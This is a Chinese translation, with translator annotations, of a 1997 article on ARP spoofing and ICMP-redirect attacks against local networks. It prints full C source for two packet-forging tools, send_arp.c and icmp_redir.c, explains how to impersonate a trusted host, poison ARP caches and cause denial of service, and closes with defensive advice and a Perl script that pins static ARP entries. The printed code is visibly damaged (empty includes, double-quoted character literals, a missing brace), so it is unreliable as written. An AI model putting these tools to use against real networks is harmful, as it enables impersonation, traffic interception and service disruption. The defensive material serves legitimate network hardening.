当前位置:Linux教程 - Linux - 利用ARP和ICMP玩重定向的游戏

利用ARP和ICMP玩重定向的游戏



         yuri volobuev

    ★ scz注: 这篇文章原文来自rootshell,而且是97的事情了,虽然
    涉及到的技术很简单,但看英文毕竟不是很方便,尤其
    晦涩术语使得爱好者而非开发人员难于静心读下去。一直
    懒得翻译,不想近来手头就有两卷W.Richard Stevens.的
    TCP/IP Illustrated,顺手翻译出来,加上一些自己的
    测试结果。翻译测试途中还有一些别的问题,日后有机会
    一并写出来。如有问题请在不引用原文、不带附件的前提
    下发信至[email protected]

    ★ 简介

    不象IP spoofing,需要做很多辅助工作且难于实现,ARP spoofing非常容易实现。
    尽管ARP spoofing只在局域网内有效,但对于那些已经存在安全裂缝的网络来说仍
    然是一个严重的安全隐患。如果攻击者能够入侵子网内的某台主机,ARP spoofing
    也就开始在这个子网内有效。

    ★ ARP的背景知识

    如果你对ARP一窍不通,最好学习它的源代码,我推荐由W.Richard Stevens.写的
    TCP/IP Illustrated。

    scz注: 我已经从4.4BSD-Lite2中提取了这部分源代码,打了一个4BSD.zip
    包,感兴趣可以找triton、far、andrews、hope等人索要。

    ★ 我们能做什么

    让我们考虑一个假想的网络

    IP 10.0.0.1 10.0.0.2 10.0.0.3 10.0.0.4
    hostname cat rat dog bat
    hw addr AA:AA BB:BB CC:CC DD:DD (缩略表示)

    所有的主机都以简单的共享HUB方式相连,而不是通过Lan Switch或者智能HUB。
    位于cat上有root权限的你想入侵主机dog。假设主机dog信任主机rat,所以若你
    能够成功地装扮成rat,就可以得到一些感兴趣的东西。

    scz注: 事实上,只要你看懂了作者所讲的,就该明白,自始至终只利用了
    单播ARP响应包,而这和是否使用Lan Switch或者智能HUB没有关系,
    后者对于利用网卡混杂模式抓包有影响。

    你一定要问,为什么不能设置我的IP成为我所想装扮的主机的IP呢?
    那是不能工作的,至少不能可靠地工作。如果你告诉以太网卡设备驱动程序,
    自己的IP是10.0.0.2,cat将开始回答针对这个IP的ARP Request,但同时
    rat也会这样做,这是纯粹的竞争,没有胜利者。然后很快你会成为失败者,
    许多TCP/IP的实现立即注意到这种异常并大声抱怨。许多网络协议分析器
    也会注意到这种异常。在局域网管理员的控制台上出现一些肮脏的报告,其中
    涉及到cat的MAC地址,这是你非常不愿意看到的,你不但没有得到你想得到的,
    还可能被切断到子网的连接。

    下面所附的程序send_arp.c是一个非常有用的工具。正如它的名字所说,它发送
    一个ARP包,确切地说,是ARP Reply,协议没有规定一定要等ARP Request出现才
    能发送ARP Reply,也没有规定一定要发送过ARP Request才能接收ARP Reply。
    如你所愿,你可以人为地制造这个包。你所需要的是一种能力,可以指定ARP包中
    的源IP、目标IP、源MAC、目标MAC。

    首先你不想让你的以太网卡驱动程序讲太多的话,这很容易通过ifconfig -arp
    命令实现。当然,无论如何cat需要ARP信息,因此你必需用arp命令手动加入静态
    ARP入口。关键在于让你要让dog相信rat的MAC是AA:AA(cat的),于是你发送一个
    ARP响应包,源IP是10.0.0.2,源MAC是AA:AA,目标IP是10.0.0.3,目标MAC是
    CC:CC。现在dog知道了,rat的MAC是AA:AA。当然,ARP Cache会过期,因此它需要
    不断地更新,多长时间依赖与特定的系统,大多数情况下40秒的间隔足够了。只要
    你乐意,更频繁地发送也无所谓,没有伤害。

    某些系统(比如Linux)的ARP Cache实现有种特性导致了问题的复杂化。
    Linux通过发送一个单播ARP请求包来更新相应的ARP入口,就象你妻子经常打电话
    给你以确认你在那里。这样的请求包搅乱了我们的计划,导致dog主机上rat的ARP
    入口被更新成正确的,这必须被阻止。我们必须给rat发送ARP响应包,源IP是
    10.0.0.3,源MAC是CC:CC,目标IP是10.0.0.2,目标MAC是BB:BB,以阻止rat发送
    单播ARP请求包更新自己ARP Cache中dog的ARP入口。就象你主动打电话告诉妻子,
    我在这里,免得她来烦你。大约40秒间隔重复一次足够了。

    整个过程是简单的。Up一个接口(或者别名接口),你需要设置一些ARP入口,
    注意若在no-arp接口上就没戏了。设置到dog的特定主机路由。然后关闭该接口
    上ARP功能。OK
    现在用send_arp不断地向dog和rat发包,dog现在认为你就是rat。

    如果继续研究,考虑dog是路由器的情况,也许这个时候不能工作,但我想不出
    有什么理由使之不能工作,路由器上TCP/IP的实现?试试......(已经有人成功
    愚弄了路由器)

    ★ 我们还能做什么

    除了欺骗,ARP还可以做很多事情。DoS是最显而易见的应用。
    向牺牲者发送错误的MAC地址,使之变成哑巴。如果给的是不存在的MAC地址,
    系统很快意识到自己在与一个虚无的目标对话,于是发送ARP请求试图解析正确
    的MAC地址。更有效的办法是给牺牲者一个错误但的确存在的MAC地址,接收主机
    将返回ICMP包报告不可达信息,这种方式有效地推迟了ARP入口的过期。比如在
    Linux上,伪连接导致ARP入口过期从通常的1分钟增加到近10分钟。

    免费ARP(源IP和目标IP一致)请求意味着一个包就影响了整个子网,如果一个错误
    的免费ARP请求出现,整个子网都被搅乱了。

    免费ARP是移动IP所需要的。Linux解决办法是始终尊重ATF_PERM标志, 就是说
    静态ARP入口不会在ARP性能优化规则下被接收到的ARP包动态改变。

    scz注: Pwin98下用arp -s建立的静态ARP入口会被接收到的ARP包动态改变,
    至少我测试过向全子网广播发送ARP请求包,企图修改对应网关IP的
    MAC地址为错误的MAC,成功。因为ARP广播包不受Lan Switch或者
    Smart Hub的影响,所以这是很无奈的一个结论。Linux不愧是计算
    机系统分析级人物、黑客以及狂热爱好者培养出来的产物,虽然不
    能解决所有安全问题,但已经迈出了坚实的一大步,是从操作系统
    级上实现的安全性,而非外挂式的。

    ARP也是一个开专业玩笑的工具。如果发送改变了方向,甚至没有人会注意。对于
    一些连接,入侵者在无规则长时间间隔中很简单地随机交换两个字节,如果这种
    交换发生在数据区,绝大多数校验和不会改变,数据流似乎是完整无缺的,然而
    一些奇怪的事情发生了,没有显然的原因。

    ★ ICMP重定向

    另一种类似于ARP欺骗的效果可以通过合法的协议特性----ICMP重定向----来达到。
    缺省路由向发送者报告另一条到特定主机的更短路由,就是ICMP重定向。最初,
    网络路由重定向是被支持的,然而后来网络路由重定向遭到异议而废弃。

    除了路由器,主机必须服从ICMP重定向。

    ICMP重定向提供了一种相当有效的DoS。不象ARP入口,这些特定主机路由入口
    永不过期。注意,攻击没有要求必须从局域网内发起,事实可以从广域网上发起。
    如果子网所用DNS位于网关外,产生一个到该DNS的错误路由是很容易的,
    于是......

    scz注: 我在Pwin98下测试过,由ICMP重定向包产生的路由都是掩码为
    255.255.255.255的特定主机路由,没有办法产生诸如255.255.0.0
    这样掩码下的网络路由。此外,由ICMP重定向包产生的路由还是
    会过期的,会被删除,但耗时很长。许多桌面操作系统线性搜索
    自己的路由表,如果你利用ICMP重定向包加了太多特定主机路由
    到它们的路由表中,嘿嘿。对于Unix系统,虽然搜索路由表时
    不是线性搜索,但过多的特定主机路由会消耗大量的内存空间。

    ★ 我们能利用它做些什么


    ARP是低级协议,一般是不允许普通用户直接访问的。局域网管理员有时会
    注意它,但假若什么都正常没有人会关心它。如果有些奇特的网络故障,
    可以用arp -a命令检查自己的ARP Cache,用netstat -nr命令检查自己的
    路由表。

    上述ARP攻击在老式的10Base2以太网上工作极佳。然而,如果主机用某些更
    高级的方式互联,比如Smart Hub或者Lan Switch,很容易察觉攻击,甚至
    无法攻击,就象抓包监听一样。因此这是另一个投资先进网络设备的理由。

    无名氏注: 对于Smart Hub或者Lan Switch,你希望监听主机A与B之间
    的通信,ping它们两个,得到MAC地址,利用ARP欺骗使得它
    们两个之间的通信经过你,你需要做的是在A和B之间路由这
    些IP包并记录它们。

    scz注: 正如前面已经注明过的,Smart Hub或者Lan Switch对于ARP攻
    击没有影响。无名氏给出了在这种情况下如何监听的思路,但
    我没有尝试过,哪位尝试成功过还请让俺们开开眼界,纸上谈
    兵就免了。

    我宁可在自己的系统中屏蔽ICMP重定向功能,即使这与RFC1122相违背。唉,
    看上去这并不容易。在提供源代码的操作系统,比如Linux下,可以修改内核
    屏蔽之。在Irix6.2(可能还有其他版本)上,可以用systune(我非常吃惊,居
    然有它)设置icmp_dropredirects为1。其他操作系统也许能被配置,我不确
    定。

    无名氏注: 在Linux下可以利用firewall明确指定屏蔽ICMP重定向包。
    我确信在BSD下也可以。这不过是一个简单的命令行选项。
    建议看看IPv6。

    以太网可以强制进入no-arp模式,只是你必须确认自己的ARP Cache中有
    所有可能的静态ARP入口。但是如果使用NIS,无论如何,ARP攻击不再是
    你最急迫的安全问题。

    scz注: 关于使用NIS带来的严重安全隐患,请查阅其他文档,小弟对
    此只有风闻没有目睹,不过据说如果配置不当很危险。

    一条老的经验始终有效:不要使用仅仅基于主机名的安全校验机制。

    除非绝对必要,请不要大量转发这篇文章。

    scz注: 呵呵,作者还挺悲天悯人的,可惜这篇文章到了rootshell,
    不可能不被大量转发。我们转发翻译的目的无非给我们大家
    一个共同学习的机会,避免重复劳动,非常不希望出现违背
    初衷的事情,相信大家都是古典派的,我讨厌\"新新人类\"。

    必须注意到很多人说,我有防火墙,我喜欢它。我完全同意防火墙对于安全
    是非常有益的,但它不是全部,也不能总是有效。简单地设想,子网内有台
    主机提供了telnet服务,被成功入侵了,于是整个子网与外部Internet之间
    的防火墙如同马其诺防线一样完了。因此子网内每个用户、每台主机都需要
    安全意识,而不仅仅是防火墙。

    /*
    send_arp.c

    This program sends out one ARP packet with source/target IP and Ethernet
    hardware addresses suuplied by the user. It compiles and works on Linux
    and will probably work on any Unix that has SOCK_PACKET.

    [email protected]
    */

    #include
    #include
    #include
    #include
    #include
    #include
    #include
    #include
    #include
    #include

    #define ETH_HW_ADDR_LEN 6
    #define IP_ADDR_LEN 4
    #define ARP_FRAME_TYPE 0x0806
    #define ETHER_HW_TYPE 1
    #define IP_PROTO_TYPE 0x0800
    #define OP_ARP_REQUEST 2

    #define DEFAULT_DEVICE \"eth0\"

    char usage[] = {\"send_arp: sends out custom ARP packet. yuri volobuev\\n\\
    \\tusage: send_arp src_ip_addr src_hw_addr targ_ip_addr tar_hw_addr\\n\\n\"};

    struct arp_packet {
    u_char targ_hw_addr[ETH_HW_ADDR_LEN];
    u_char src_hw_addr[ETH_HW_ADDR_LEN];
    u_short frame_type;
    u_short hw_type;
    u_short prot_type;
    u_char hw_addr_size;
    u_char prot_addr_size;
    u_short op;
    u_char sndr_hw_addr[ETH_HW_ADDR_LEN];
    u_char sndr_ip_addr[IP_ADDR_LEN];
    u_char rcpt_hw_addr[ETH_HW_ADDR_LEN];
    u_char rcpt_ip_addr[IP_ADDR_LEN];
    u_char padding[18];
    };

    void die (char *);
    void get_ip_addr (struct in_addr *, char *);
    void get_hw_addr (char *, char *);

    int main (int argc, char * argv[]) {

    struct in_addr src_in_addr, targ_in_addr;
    struct arp_packet pkt;
    struct sockaddr sa;
    int sock;

    if (argc != 5)
    die(usage);

    sock = socket(AF_INET, SOCK_PACKET, htons(ETH_P_RARP));
    if (sock < 0) {
    perror(\"socket\");
    exit(1);
    }

    pkt.frame_type = htons(ARP_FRAME_TYPE);
    pkt.hw_type = htons(ETHER_HW_TYPE);
    pkt.prot_type = htons(IP_PROTO_TYPE);
    pkt.hw_addr_size = ETH_HW_ADDR_LEN;
    pkt.prot_addr_size = IP_ADDR_LEN;
    pkt.op = htons(OP_ARP_REQUEST);

    get_hw_addr(pkt.targ_hw_addr, argv[4]);
    get_hw_addr(pkt.rcpt_hw_addr, argv[4]);
    get_hw_addr(pkt.src_hw_addr, argv[2]);
    get_hw_addr(pkt.sndr_hw_addr, argv[2]);

    get_ip_addr(&src_in_addr, argv[1]);
    get_ip_addr(&targ_in_addr, argv[3]);

    memcpy(pkt.sndr_ip_addr, &src_in_addr, IP_ADDR_LEN);
    memcpy(pkt.rcpt_ip_addr, &targ_in_addr, IP_ADDR_LEN);

    bzero(pkt.padding,18);

    strcpy(sa.sa_data,DEFAULT_DEVICE);
    if (sendto(sock,&pkt,sizeof(pkt),0,&sa,sizeof(sa)) < 0) {
    perror(\"sendto\");
    exit(1);
    }
    exit(0);
    }

    void die (char *str) {
    fprintf(stderr,\"%s\\n\",str);
    exit(1);
    }

    void get_ip_addr (struct in_addr *in_addr, char *str) {

    struct hostent *hostp;

    in_addr->s_addr = inet_addr(str);
    if(in_addr->s_addr == -1){
    if ((hostp = gethostbyname(str)))
    bcopy(hostp->h_addr, in_addr, hostp->h_length);
    else {
    fprintf(stderr, \"send_arp: unknown host %s\\n\", str);
    exit(1);
    }
    }
    }

    void get_hw_addr (char *buf, char *str) {

    int i;
    char c, val;

    for(i = 0; i < ETH_HW_ADDR_LEN; i++) {
    if (!(c = tolower(*str++)))
    die(\"Invalid hardware address\");
    if (isdigit(c))
    val = c - \"0\";
    else if (c >= \"a\" && c <= \"f\")
    val = c-\"a\"+10;
    else
    die(\"Invalid hardware address\");

    *buf = val << 4;
    if (!(c = tolower(*str++)))
    die(\"Invalid hardware address\");
    if (isdigit(c))
    val = c - \"0\";
    else if (c >= \"a\" && c <= \"f\")
    val = c-\"a\"+10;
    else
    die(\"Invalid hardware address\");

    *buf++ |= val;

    if (*str == \":\")
    str++;
    }
    }


    /*
    icmp_redir.c

    This program sends out an ICMP host redirect packet with gateway IP supplied
    by user. It was written and tested under Linux 2.0.30 and could be rather
    easily modified to work on most Unices.
    */
    #include
    #include
    #include
    #include
    #include
    #include
    #include
    #include
    #include
    #include
    #include
    #include

    #define IPVERSION 4

    struct raw_pkt {
    struct iphdr ip; /* This is Linux-style iphdr.
    Use BSD-style struct ip if you want */
    struct icmphdr icmp;
    struct iphdr encl_iphdr;
    char encl_ip_data[8];
    };

    struct raw_pkt *pkt;

    void die (char *);
    unsigned long int get_ip_addr (char *);
    unsigned short checksum (unsigned short *, char);

    int main (int argc, char * argv[]) {

    struct sockaddr_in sa;
    int sock, packet_len;
    char usage[] = {\"icmp_redir: send out custom ICMP host redirect packet. \\
    yuri volobuev\"97\\n\\
    usage: icmp_redir gw_host targ_host dst_host dummy_host\\n\"};
    char on = 1;

    if (argc != 5)
    die(usage);

    if ((sock = socket(AF_INET, SOCK_RAW, IPPROTO_RAW)) < 0) {
    perror(\"socket\");
    exit(1);
    }

    sa.sin_addr.s_addr = get_ip_addr(argv[2]);
    sa.sin_family = AF_INET;

    packet_len = sizeof(struct raw_pkt);
    pkt = calloc((size_t)1, (size_t)packet_len);

    pkt->ip.version = IPVERSION;
    pkt->ip.ihl = sizeof(struct iphdr) >> 2;
    pkt->ip.tos = 0;
    pkt->ip.tot_len = htons(packet_len);
    pkt->ip.id = htons(getpid() & 0xFFFF);
    pkt->ip.frag_off = 0;
    pkt->ip.ttl = 0x40;
    pkt->ip.protocol = IPPROTO_ICMP;
    pkt->ip.check = 0;
    pkt->ip.saddr = get_ip_addr(argv[1]);
    pkt->ip.daddr = sa.sin_addr.s_addr;
    pkt->ip.check = checksum((unsigned short*)pkt, sizeof(struct iphdr));

    pkt->icmp.type = ICMP_REDIRECT;
    pkt->icmp.code = ICMP_REDIR_HOST;
    pkt->icmp.checksum = 0;
    pkt->icmp.un.gateway = get_ip_addr(argv[4]);

    memcpy(&(pkt->encl_iphdr), pkt, sizeof(struct iphdr));
    pkt->encl_iphdr.protocol = IPPROTO_IP;
    pkt->encl_iphdr.saddr = get_ip_addr(argv[2]);
    pkt->encl_iphdr.daddr = get_ip_addr(argv[3]);
    pkt->encl_iphdr.check = 0;
    pkt->encl_iphdr.check = checksum((unsigned short*) & (pkt->encl_iphdr),
    sizeof(struct iphdr));

    pkt->icmp.checksum = checksum((unsigned short*) & (pkt->icmp),
    sizeof(struct raw_pkt)-sizeof(struct iphdr));

    if (setsockopt(sock, IPPROTO_IP, IP_HDRINCL, (char *)&on, sizeof(on)) < 0) {
    perror(\"setsockopt: IP_HDRINCL\");
    exit(1);
    }

    if(sendto(sock, pkt, packet_len, 0, (struct sockaddr *)&sa, sizeof(sa)) < 0)

    perror(\"sendto\");
    exit(1);
    }
    exit(0);
    }

    void die (char *str) {
    fprintf(stderr, \"%s\\n\", str);
    exit(1);
    }

    unsigned long int get_ip_addr (char *str) {

    struct hostent *hostp;
    unsigned long int addr;

    if( (addr = inet_addr(str)) == -1){
    if ((hostp = gethostbyname(str)))
    return *(unsigned long int *)(hostp->h_addr);
    else {
    fprintf(stderr, \"unknown host %s\\n\", str);
    exit(1);
    }
    }
    return addr;
    }

    unsigned short checksum(unsigned short* addr,char len){
    register long sum = 0;

    while (len > 1) {
    sum += *addr++;
    len -= 2;
    }
    if (len > 0)
    sum += *addr;
    while (sum >> 16)
    sum = (sum & 0xffff) + (sum >> 16);

    return ~sum;
    }


    我写了一个简短的Perl script,在系统启动文件中运行,设置
    永久ARP入口。配置文件格式是\"IP地址 空格 MAC地址\",#号开头
    的是注释。仅仅在Linux测试过,其他操作系统可能需要细微修改。
    你必须保证它在网络接口已经Up,但任何服务器/客户端没有启动
    之前运行,否则在ARP表被绑定之前可能有人偷偷摸摸地连接上来。

    #! /usr/bin/perl
    # by John Goerzen <[email protected]>
    # Program: forcehwaddr
    # Program to run ARP to force certain tables.
    # Specify filenames to read from on command line, or read from stdin.
    foreach (<>) { # For each input line....
    chomp; # Strip if CR/LF
    if (/^#/) { next; } # If it\"s a comment, skip it.
    if (((($host, $hw) = /\\s*(.+?)\\s+(\\S+)\\s*/) == 2) &&
    !(/^#/)) {
    # The text between the slashes parses the input line as follows:
    # Ignore leading whitespace. (\\s*)
    # Then, start matching and put it into $host ($host, (.+?))
    # Skip over the whitespace after that (\\s+)
    # Start matching. Continue matching until end of line or optional
    # trailing whitespace.

    # Then, the if checks to see that both a
    # host and a hardware address were matched.
    # (2 matches). If not, we skip the
    # line (assuming it is blank or invalid or something).
    # The second part of the if checks to see if the line starts with
    # a pound sign; if so, ignore it (as a comment).

    # Otherwise, run the appropriate command:
    printf(\"Setting IP %-15s to hardware address %s\\n\", $host, $hw);
    system \"/usr/sbin/arp -s $host $hw\\n\";
    }
    }

    一些BSD变体有arp -f选项:

    -f Causes the file filename to be read and multiple entries to be
    set in the ARP tables. Entries in the file should be of the form

    hostname ether_addr [temp] [pub]

    Please note Yuri\"s original posting - unless you use the \"-arp\" option with
    ifconfig these \"permanent\" settings will get replaced! Also even with -arp any
    host that has not had the etheraddress set using arp -f or arp -s will be added
    to the arp cache.

    This is what I found with IRIX 6.2, HP-UX or FreeBSD and I would be surprised
    if any other OS was very different - the \"permanent\" flag stays set but the
    etheraddress will change unless -arp has been used.


    Easy to test by setting a nonesense ether for a host with arp -s and then send
    a ping comparing the arp cache before and after. Nothing appears in logfiles
    unless you have something monitoring arps such as arpwatch.

    下文引自W. Stevens TCP/IP Illustrated, Volume 1 page 123:

    一台4.4BSD主机接收到ICMP重定向报文,为了防止失常的路由、主机或者恶意的入侵者
    不正确的修改系统路由表,做了如下检查:

    1. 新路由必须是直达的
    2. 重定向包必须来自去往目标的当前路由
    3. 重定向包不能通知主机用自己做路由(Pwin98不是这样的)
    4. 被改变的路由必须是一条间接路由

    因此若A和B在同一子网,A不可能利用ICMP重定向使B发往子网内IP的包流向自己。
    但可以使B发往子网外IP的包流向自己。

    转载自白云黄鹤bbs.whnet.edu.cn
    发布人:netbull 来自:JJ的Linux世界